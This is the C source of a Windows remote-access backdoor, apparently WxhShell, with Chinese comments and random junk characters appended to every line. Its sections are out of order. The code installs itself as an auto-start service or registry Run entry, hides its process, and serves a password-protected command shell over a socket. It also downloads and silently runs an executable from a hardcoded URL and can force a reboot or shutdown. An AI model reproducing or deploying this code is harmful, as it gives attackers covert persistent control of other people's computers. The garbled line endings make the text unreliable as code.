    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hrT%XJl  
    if(Boot(SHUTDOWN)) QSmJ`Bm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Z8^+AMc  
    else { @,YlmX}  
    closesocket(wsh); f N0bIE Y  
    ExitThread(0); BVAr&cu  
    } RH=$h! 5  
    break; O3+)qb!X  
    } L *{QjH  
  // 获取shell b8cVnP  
  case 's': { ( H[  
    CmdShell(wsh); Q)+Y}  
    closesocket(wsh); *')Q {8`  
    ExitThread(0); o4'Wr  
    break; (+x]##Q  
  } \=8=wQv  
  // 退出 ,|iy1yg(  
  case 'x': { jnDQ{D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3q CHh  
    CloseIt(wsh); G)~MbesJ  
    break; u0'i!@795  
    } /4H[4m]I  
  // 离开  6s5b$x  
  case 'q': { Q!x`M4   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tO4):i1  
    closesocket(wsh); T\cR2ZT~  
    WSACleanup(); j Ii[  
    exit(1); vu ?3$  
    break; QxA0I+i  
        } S"{GlRpd  
  } \2Xx%SX  
  } vQy$[D*  
08O7F  
  // 提示信息 3/l\ <{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uf^RLdoDn  
} 77^ "xsa  
  } ~BtKd*~*  
s~)L_ p  
  return; " SLvUzO>q  
} `1$y(w]  
k%^<}s@  
// shell模块句柄 ~ z>BfL  
int CmdShell(SOCKET sock) k}-]W@UCa?  
{ ]xI?,('_m  
STARTUPINFO si; PC[cHgSYU  
ZeroMemory(&si,sizeof(si)); v#-E~;C cC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @?Fx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^ePsIl1E  
PROCESS_INFORMATION ProcessInfo; Fj,(_^  
char cmdline[]="cmd"; /_HwifRQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d>;2,srUf  
  return 0; .P8-~?&M  
} ) (+)Q'*  
}R`Irxv4  
// 自身启动模式 2H3(HZv  
int StartFromService(void) K Ka c6Zj  
{ -}<d(c  
typedef struct :;q>31:h  
{ &q"'_4  
  DWORD ExitStatus; KCl &H  
  DWORD PebBaseAddress; hc6.#~i  
  DWORD AffinityMask; 0FTRm2(  
  DWORD BasePriority; (GnVwJ<v9V  
  ULONG UniqueProcessId; [\88@B=jXP  
  ULONG InheritedFromUniqueProcessId; w/O<.8+  
}   PROCESS_BASIC_INFORMATION; erXy>H[;  
Esb ?U|F4  
PROCNTQSIP NtQueryInformationProcess; y%2%^wF  
a6k(9ZF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^t`f1rGR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )&XnM69~b  
q%DVDq( z  
  HANDLE             hProcess; Q5hb0O%a  
  PROCESS_BASIC_INFORMATION pbi; 0n\^$WY  
w[e0wh`.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7TnM4@*f  
  if(NULL == hInst ) return 0; ([[)Ub$U  
/z..5r^,ZZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .r7D )xNa@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q6eN+i2 ;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y{YXf! AS  
}Z"28?  
  if (!NtQueryInformationProcess) return 0; hTDV!B-_(  
m**0rpA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gH5CB%)  
  if(!hProcess) return 0; vJ~4D*(]l  
s c5\( b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tSI& "-   
a5X`jo  
  CloseHandle(hProcess); W^003*m~~K  
Q^[e/U,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FPvuzBJ  
if(hProcess==NULL) return 0; (%6(5,   
.4I w=T_  
HMODULE hMod; 2]2{&bu  
char procName[255]; *Ao2j;  
unsigned long cbNeeded; /tG5!l  
B%TXw#|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P8"6"}B;T  
qbEKp HnB  
  CloseHandle(hProcess); 5?Uo&e  
+{5JDyh0  
if(strstr(procName,"services")) return 1; // 以服务启动 1XqIPiXJ  
A<mj8qz  
  return 0; // 注册表启动 o`b$^hv{A  
} Hde]DK,d  
6#-6Bh)>4  
// 主模块 oSN8Xn*qr  
int StartWxhshell(LPSTR lpCmdLine) ,2RC|h^O,  
{ 1P+Mv^%I  
  SOCKET wsl; *~"zV`*Q  
BOOL val=TRUE; oG+K '(BB  
  int port=0; AGl|>f)  
  struct sockaddr_in door; zhuy ePn  
67}]s@:l](  
  if(wscfg.ws_autoins) Install(); g@<sU0B  
wEBtre7  
port=atoi(lpCmdLine); zt-'SY  
9 %D$T'K  
if(port<=0) port=wscfg.ws_port; f-vZ2+HP  
os}b?I*K  
  WSADATA data; y T[Lzv#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J"/ JRn  
5dg-d\ 6S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |P^]@om  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BjH~Ml2  
  door.sin_family = AF_INET; =Dh$yC-Zr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oP+kAV#]  
  door.sin_port = htons(port); TTeAa  
n33JTqX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1y},9ym  
closesocket(wsl); ->#y(}  
return 1; c_@XQ&DC`  
} >Y,/dyT Zm  
t)\D  
  if(listen(wsl,2) == INVALID_SOCKET) { K?5B>dv@A  
closesocket(wsl); 8]sTX9  
return 1; ` %FIgE^  
} }V\P,ck  
  Wxhshell(wsl); di8W2cwz  
  WSACleanup(); ]cx"  
/d{glOk  
return 0; QN)/,=#  
8W19#?7>B  
} JVD@I{  
q,<n,0)K  
// 以NT服务方式启动 kb/|;!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pi^^L@@ d  
{ (! xg$Kz@  
DWORD   status = 0; WpXODkQL  
  DWORD   specificError = 0xfffffff; 66I|0_  
>&$$(Bp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mgJShn8]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B0-4 ZT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ."~7 \E> t  
  serviceStatus.dwWin32ExitCode     = 0; 9 eSN+q  
  serviceStatus.dwServiceSpecificExitCode = 0; t7{L[C$  
  serviceStatus.dwCheckPoint       = 0; RnMBGxa  
  serviceStatus.dwWaitHint       = 0; @m+pr\h(  
GCcwEl!K^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y3&Tv  
  if (hServiceStatusHandle==0) return; c'4>D,?1  
@?<N +qdH>  
status = GetLastError(); &/B2)l6a  
  if (status!=NO_ERROR) aDm-X r  
{ u~' m7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xaGVu0q  
    serviceStatus.dwCheckPoint       = 0; DePV,.  
    serviceStatus.dwWaitHint       = 0; 9F2P(aS  
    serviceStatus.dwWin32ExitCode     = status; z5x ,fQw6O  
    serviceStatus.dwServiceSpecificExitCode = specificError; X@6zI-Y %  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X% Spv/8{  
    return; S/@dkHI'  
  } B'G*y2UnG  
Fy}MXe"f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xT_fr,P  
  serviceStatus.dwCheckPoint       = 0; iYO wB'z  
  serviceStatus.dwWaitHint       = 0; (t]lP/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E[)7tr  
} j[$B\H  
N oX_?  
// 处理NT服务事件,比如:启动、停止 o7_MMeQ4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J{nyo1A  
{ Nb^zkg  
switch(fdwControl) /3)YWFZZc  
{ A2g"=x[1@K  
case SERVICE_CONTROL_STOP: }XfS#Xr1aV  
  serviceStatus.dwWin32ExitCode = 0; o9U0kI=W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GN htnB  
  serviceStatus.dwCheckPoint   = 0; s`8M%ZLu  
  serviceStatus.dwWaitHint     = 0; OYqYI!N/  
  { "C$!mdr7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 09}f\/  
  } Bq$e|t)'  
  return; jjS{q,bo  
case SERVICE_CONTROL_PAUSE: u^#4G7<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &=s|  
  break; 2a._?(k_y  
case SERVICE_CONTROL_CONTINUE: veYsctK~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4b3F9  
  break; W2r6jm!  
case SERVICE_CONTROL_INTERROGATE: QrNL7{  
  break; ]MqH13`)A  
}; w8m8r`h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @e.OU(Bf  
} YLA557~  
IyG = 7  
// 标准应用程序主函数 yNhscAMNn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9A/Kn]s(jj  
{ 8!o{W=m^4  
+E q~X=x  
// 获取操作系统版本 / K_e;(Y_  
OsIsNt=GetOsVer(); lRF_ k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~uhyROO,G"  
wzHjEW  
  // 从命令行安装 %468s7Q[Mi  
  if(strpbrk(lpCmdLine,"iI")) Install(); [6,]9|~  
J'G`=m"-'  
  // 下载执行文件 .R$+#_  
if(wscfg.ws_downexe) { `mq4WXO\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _e:5XQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0p:ClM 2O  
} ;+r)j"W  
1^x2WlUm4  
if(!OsIsNt) { E&iWtwkz  
// 如果时win9x,隐藏进程并且设置为注册表启动 wZ]BY;  
HideProc(); .gM>FUH3L  
StartWxhshell(lpCmdLine); e_>rJWI}  
} uh C=  
else Ww'TCWk@  
  if(StartFromService()) r?5@Etpg  
  // 以服务方式启动 Uf7F8JZmM  
  StartServiceCtrlDispatcher(DispatchTable); !\&7oAs=I  
else )MD*)O  
  // 普通方式启动 }Ll3AR7\  
  StartWxhshell(lpCmdLine); <iXS0k  
&{%S0\K Y  
return 0; `L"p)5H  
} ga{25q}"  
:"<B@Z  
6PzN>+t^y  
7/^TwNsv  
=========================================== ~q8V<@?  
}> !"SU:d  
8aZey_Hw;+  
sO{0hZkc  
~*' 8=D?)  
l $p_])x  
" (Qx-KRH  
VeN&rjc  
#include <stdio.h> h-2E9Z  
#include <string.h> OU)p)Y_z  
#include <windows.h> mf*9^}l+Zn  
#include <winsock2.h> G>q{~HE1  
#include <winsvc.h> *&hXJJ[+  
#include <urlmon.h> 7G>0,'XC  
.kB3jfw0,  
#pragma comment (lib, "Ws2_32.lib") 8JtI&aH-L  
#pragma comment (lib, "urlmon.lib") _A)_K;cz  
d5sGkR`(  
#define MAX_USER   100 // 最大客户端连接数 < o'7{  
#define BUF_SOCK   200 // sock buffer p+`*~6Jj/  
#define KEY_BUFF   255 // 输入 buffer '.h/Y/oz  
ir@N>_  
#define REBOOT     0   // 重启 f1]AfH#  
#define SHUTDOWN   1   // 关机 {M)3GsP?  
+}(B856+  
#define DEF_PORT   5000 // 监听端口 ?9('o\N:  
/K1$_   
#define REG_LEN     16   // 注册表键长度 l9ifUh e  
#define SVC_LEN     80   // NT服务名长度 D25gg  
{o5K?Pb  
// 从dll定义API 9A} kkMB:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j0pvLZjM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t7!>5e)C}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2LxVt@_R!%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OuBMVn  
eX l%Qs#Y  
// wxhshell配置信息 z W" 3K  
struct WSCFG { MR)KLM0  
  int ws_port;         // 监听端口 *v:,rh  
  char ws_passstr[REG_LEN]; // 口令 XJxs4a1[t  
  int ws_autoins;       // 安装标记, 1=yes 0=no jC/JiI  
  char ws_regname[REG_LEN]; // 注册表键名 (;2J(GZ:$U  
  char ws_svcname[REG_LEN]; // 服务名 {ck  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %B {D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]!tYrSM!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y9G57D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Cj4b]*Q,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O 44IH`SI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e}Af"LI  
vZ nO  
}; H8t{ >C)]  
<E}]t,'3  
// default Wxhshell configuration '9p5UC  
struct WSCFG wscfg={DEF_PORT, mk`cyN>m  
    "xuhuanlingzhe", 9Pob|UA  
    1, .f92^lu9  
    "Wxhshell", }_kI>  
    "Wxhshell", 5k%N<e` `  
            "WxhShell Service", y8~)/)l&  
    "Wrsky Windows CmdShell Service", 6rN5Xf cS  
    "Please Input Your Password: ", }'.Sn{OWf  
  1, ^cmP  
  "http://www.wrsky.com/wxhshell.exe", h$ETH1Ue  
  "Wxhshell.exe" Ay"2W%([`  
    }; B> " r-O  
E]eqvTNH  
// 消息定义模块 %*Z2Gef?H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }PIGj}F/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9}qfdbI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c7nk~K[6  
char *msg_ws_ext="\n\rExit."; +} !F(c  
char *msg_ws_end="\n\rQuit."; Q!+{MsZ  
char *msg_ws_boot="\n\rReboot..."; &v9PT!R~  
char *msg_ws_poff="\n\rShutdown..."; dT@SO  
char *msg_ws_down="\n\rSave to "; SE}RP3dF!  
sO4}kxZ  
char *msg_ws_err="\n\rErr!"; ! ?U^+)^$  
char *msg_ws_ok="\n\rOK!"; Mevyj;1t  
Pl5NHVr  
char ExeFile[MAX_PATH]; Uo[5V|>X6  
int nUser = 0; hq8/`u YF  
HANDLE handles[MAX_USER]; zUUxxS_?  
int OsIsNt; _~S^#ut+  
W Pp\sIP  
SERVICE_STATUS       serviceStatus; zRJKIm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O->(9k<  
'ZZ WH  
// 函数声明 vkd<l&zD  
int Install(void); b5 C}K  
int Uninstall(void); v"('_!  
int DownloadFile(char *sURL, SOCKET wsh); q;a*gqt   
int Boot(int flag); yE|} r  
void HideProc(void); z.9FDQLp  
int GetOsVer(void); ) Q  
int Wxhshell(SOCKET wsl); m2< *  
void TalkWithClient(void *cs); soVZz3F  
int CmdShell(SOCKET sock); teS0F  
int StartFromService(void); h,6S$,UI  
int StartWxhshell(LPSTR lpCmdLine); .' 2gJ"?,  
dR, NC-*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I^\bS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bb :|1D  
`J ,~hK  
// 数据结构和表定义 /'=^^%&:B  
SERVICE_TABLE_ENTRY DispatchTable[] = 89- 8v^ Pq  
{ ~CdseSo 9  
{wscfg.ws_svcname, NTServiceMain}, ?eVuz x  
{NULL, NULL} ^xNe Eb  
}; A&lgiR*ObT  
,N|R/Vk$+E  
// 自我安装 9oxf)pjw  
int Install(void) JHh9> .1  
{ dj&m  
  char svExeFile[MAX_PATH]; >Hzb0N!VJ  
  HKEY key; t?H;iBrpxd  
  strcpy(svExeFile,ExeFile); nTy,Jml  
Qbt>}?-  
// 如果是win9x系统,修改注册表设为自启动 ~Ow23N  
if(!OsIsNt) { rKs WS~U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;3?J#e6;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "JLhOTPaHf  
  RegCloseKey(key); |VR5Q(d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E?h2e~ ,]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GGQ(|?w  
  RegCloseKey(key); =^AZx)Kwd  
  return 0; +?txGHQq  
    } *7fPp8k+Z;  
  } [W\atmd"  
} (Rg!km%2T  
else { {2*l :'  
hsVJ&-#  
// 如果是NT以上系统,安装为系统服务 Sq8Q *  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B';> Hk  
if (schSCManager!=0) =?*"V-l  
{ Ihq@|s8  
  SC_HANDLE schService = CreateService a;owG/\p  
  ( .,K?\WZ  
  schSCManager, vyOC2c8  
  wscfg.ws_svcname, ne24QZ~}  
  wscfg.ws_svcdisp, Qufv@.'AY  
  SERVICE_ALL_ACCESS, Y {|~A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -j=&J8Za  
  SERVICE_AUTO_START, =2)$|KC  
  SERVICE_ERROR_NORMAL, /(pD^D  
  svExeFile, IoHkcP[H  
  NULL, }%d-U;Tt2  
  NULL, Y~SlipY_  
  NULL, Rpd/9x.)&  
  NULL, lJY=*KB(6  
  NULL <RVtLTd/  
  ); +rpd0s49  
  if (schService!=0) (tLQX~Ur  
  { 12' (MAP  
  CloseServiceHandle(schService); 8=o5;]Cg  
  CloseServiceHandle(schSCManager); [QN7+#K,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8*~:gZ7:  
  strcat(svExeFile,wscfg.ws_svcname); BW-P%:B1!R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pV|?dQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $M<4Bqr  
  RegCloseKey(key); WHLKf  
  return 0; gN'i+mQcu  
    } v.v%k2;  
  } $D\l%y/C  
  CloseServiceHandle(schSCManager); x,G6`|Hl  
} $$f$$  
} (U(x[Df)  
gWH9=%!  
return 1; LU7)F,ok  
} zXU{p\;)\  
Y"rV[oe   
// 自我卸载 !;!~5"0~"  
int Uninstall(void) +5|nCp6||j  
{ =i>F^7)U1  
  HKEY key; f>/ 1KV  
Jl4XE%0  
if(!OsIsNt) { q/-j`'A_pb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "g1;TT:1~  
  RegDeleteValue(key,wscfg.ws_regname); xt0j9{p  
  RegCloseKey(key); $#W6z:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y1My, ?"?  
  RegDeleteValue(key,wscfg.ws_regname); b!~%a  
  RegCloseKey(key); ;C3?Ic  
  return 0; JJ=is}S|  
  } m_I$"ge  
} vK7,O%!S  
} ^J~4~!  
else { m$qC 8z]  
A1}+j-D7!y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .FRF<_`^  
if (schSCManager!=0) fqsp1m$  
{ Cj\+u\U#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KrG6z#)Uz  
  if (schService!=0) i8@e}O I  
  { Y8{1?LO  
  if(DeleteService(schService)!=0) { TaJn2cC^  
  CloseServiceHandle(schService); na:^7:I  
  CloseServiceHandle(schSCManager); gH)B` @  
  return 0; |aJ6363f.  
  } N;pr:  
  CloseServiceHandle(schService); 7[0k5-  
  } [E1|jcmQ  
  CloseServiceHandle(schSCManager); o"M^ sKz47  
} U (7P X`1  
} G6VHl:e7z  
<qY>d,+E'  
return 1; ^uEl QI  
} lG#&1  
lA 0_I"b2Y  
// 从指定url下载文件 &'\+Z  
int DownloadFile(char *sURL, SOCKET wsh) gt(nZ  
{ A8(PI)Ic.  
  HRESULT hr; qk1D#1vl  
char seps[]= "/"; Q9zpX{JT  
char *token; {5-{f=Rk  
char *file; S*s9 ?  
char myURL[MAX_PATH]; G{=$/&St  
char myFILE[MAX_PATH]; 6dp_R2zH~o  
I;:_25WGC  
strcpy(myURL,sURL); gdNp2b  
  token=strtok(myURL,seps); 7/!C  
  while(token!=NULL) SJ+-H83x  
  { ;#yz i2f  
    file=token; j/|qge4  
  token=strtok(NULL,seps); 'p]qN;`'O$  
  } 0\*<k`dY  
%$ ?Q%  
GetCurrentDirectory(MAX_PATH,myFILE); ]%hI-  
strcat(myFILE, "\\"); vUeel%  
strcat(myFILE, file); xTm&`Xo  
  send(wsh,myFILE,strlen(myFILE),0); u5M{s;{11r  
send(wsh,"...",3,0); ofCP>Z-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N6%q%7F.:  
  if(hr==S_OK) 4 jro4B`  
return 0; |JQKxvjT  
else &2pM3re/f  
return 1; /*HSAjv  
m uY^Fx  
} L$Z_j()2  
_>64XUZ<n  
// 系统电源模块 ^ ?9 ~R"  
int Boot(int flag) ! NE q|Y  
{ @$G K<jl  
  HANDLE hToken; imQNfNm  
  TOKEN_PRIVILEGES tkp; 2Jv4l$$;*  
SX;IUvVE5  
  if(OsIsNt) { y-k-E/V}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vb!KuI!:p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E#p6A5  
    tkp.PrivilegeCount = 1; hJN A%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ohk =7d.'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f` J"A:  
if(flag==REBOOT) { -.{7;6:(k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,CF~UX% bU  
  return 0; ^KR(p!%  
} p?nVPTh  
else { u\?u}t v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 75i)$}_1B  
  return 0; wX;NU4)n  
} P 'k39  
  } H/f= 2b  
  else { &pl;U\dc*a  
if(flag==REBOOT) { UU`qI}Ys8F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]F! h~>  
  return 0; A???s,F_  
} 6j#5Ag:  
else { Qz;" b!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rE~O}2a#H  
  return 0; t[~i})yS  
} / KM+PeO  
} !<ucwWY,  
"&F/'';0}E  
return 1; 2c]O Mtk  
} j)Gr@F>  
ccAEN  
// win9x进程隐藏模块 +.St"f/1  
void HideProc(void) ?zqXHv#x  
{ Gr?gHAT  
P6rL;_~e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S)?B  I  
  if ( hKernel != NULL )  >TgO|mq  
  { P) #rvTDRw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p*A//^wQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dl6zl6q?  
    FreeLibrary(hKernel); =6:Iv"<  
  } &#.&xc2sRZ  
j!pxG5%  
return; @P/{x@J  
} o? =u#=  
SZEr  
// 获取操作系统版本 u#QQCgrs  
int GetOsVer(void) 'WoX-y  
{ e2v,#3Q\  
  OSVERSIONINFO winfo; O^GTPYW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UF4QPPH4  
  GetVersionEx(&winfo); );vU=p"@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h/ic-iH(>  
  return 1; j43HSY7@  
  else = 8n*%NC  
  return 0; ]up:pddIh  
} }Na*jr0y9{  
h 9/68Gc?6  
// 客户端句柄模块 yL1\V7GI{[  
int Wxhshell(SOCKET wsl) O;r8l+  
{ #0tM88Wi  
  SOCKET wsh; MwZ`NH|n3"  
  struct sockaddr_in client; 0@KBQv"v  
  DWORD myID; aqlYB7  
mz''-1YY$  
  while(nUser<MAX_USER) [z?XVl<  
{ 4 Q.70  
  int nSize=sizeof(client); O<5bsKw'r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "[G P)nC  
  if(wsh==INVALID_SOCKET) return 1; V.}U p+WL  
zKZ6Qjd8!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8u4]@tJH  
if(handles[nUser]==0) 8G=4{,(A  
  closesocket(wsh); uG<+IT|x  
else g.'4uqU  
  nUser++; #~Q0s)Ze  
  } ax$0J|}7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #t\Oq9}^  
#"jWPe,d  
  return 0; zR:S.e<  
} 3j2}n o8O  
H$ v4N8D8I  
// 关闭 socket n*V^Q f  
void CloseIt(SOCKET wsh) 7@ZL(G  
{ /3fo=7G6  
closesocket(wsh); *E>YLkg]  
nUser--; [Gu]p&  
ExitThread(0); =i.[|g"  
} +r '  
\J6T:jeS,  
// 客户端请求句柄 X~x]VKr/  
void TalkWithClient(void *cs) t C&Xm}:  
{ _ ge3R3  
SYyH_0N  
  SOCKET wsh=(SOCKET)cs; rv^j&X+EH  
  char pwd[SVC_LEN]; *fx<>aK  
  char cmd[KEY_BUFF]; nBQG.3  
char chr[1]; VFyt9:a  
int i,j; }=++Lr4*  
m{' q(w}  
  while (nUser < MAX_USER) { }b44^iL$9y  
tNtP+v-{  
if(wscfg.ws_passstr) { X|b~,X%N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FT=w`NE,+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); StE4n0V  
  //ZeroMemory(pwd,KEY_BUFF); VF4F7'  
      i=0; ks! G \<I  
  while(i<SVC_LEN) { tTY(I1  
7oUYRqd  
  // 设置超时 4&?%"2  
  fd_set FdRead; BPW:W }  
  struct timeval TimeOut; g{&ux k);  
  FD_ZERO(&FdRead); OUD<+i,  
  FD_SET(wsh,&FdRead); U*zjEY:A  
  TimeOut.tv_sec=8; (FBKP#x)^  
  TimeOut.tv_usec=0; 7Y_S%B:F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]+oPwp;il  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p%n}a%%I  
HYtkSsXLN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9nB:=`T9  
  pwd=chr[0]; J,k{Bm  
  if(chr[0]==0xd || chr[0]==0xa) { 1w35 H9\g  
  pwd=0; %H:!/'45  
  break; WL>"hkx  
  } Yx,  
  i++; P /Js!e<\  
    } RS$e^_W  
[IMa0qs'  
  // 如果是非法用户,关闭 socket idV4hMF9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sb;81?|  
} f9!wO';P6  
~6R| a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m]V5}-?al  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Y5O3^I=u  
m'Wz0b^BO  
while(1) { I'C{=?  
ybfNG@N*  
  ZeroMemory(cmd,KEY_BUFF); &B[$l`1  
?QZ\KY  
      // 自动支持客户端 telnet标准   BK,= (;d3  
  j=0; q[r|p"TGov  
  while(j<KEY_BUFF) { 1Ocyrn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D\>CEBt  
  cmd[j]=chr[0]; S&9{kt|BI  
  if(chr[0]==0xa || chr[0]==0xd) { i_V~SC`  
  cmd[j]=0; 55fV\3F|R  
  break; C^.:{  
  } R5qC;_0cV  
  j++; " GgK,d}%  
    } Cdc6<8  
1}9@aKM  
  // 下载文件 D guAeK  
  if(strstr(cmd,"http://")) { eEXer>Rm   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q[S""P.Z|  
  if(DownloadFile(cmd,wsh)) ><dSwwu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EI]NOG 0  
  else ']>@vo4kK{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  z>hA1*Ti  
  } *l^h;RSx  
  else { F+|zCEc  
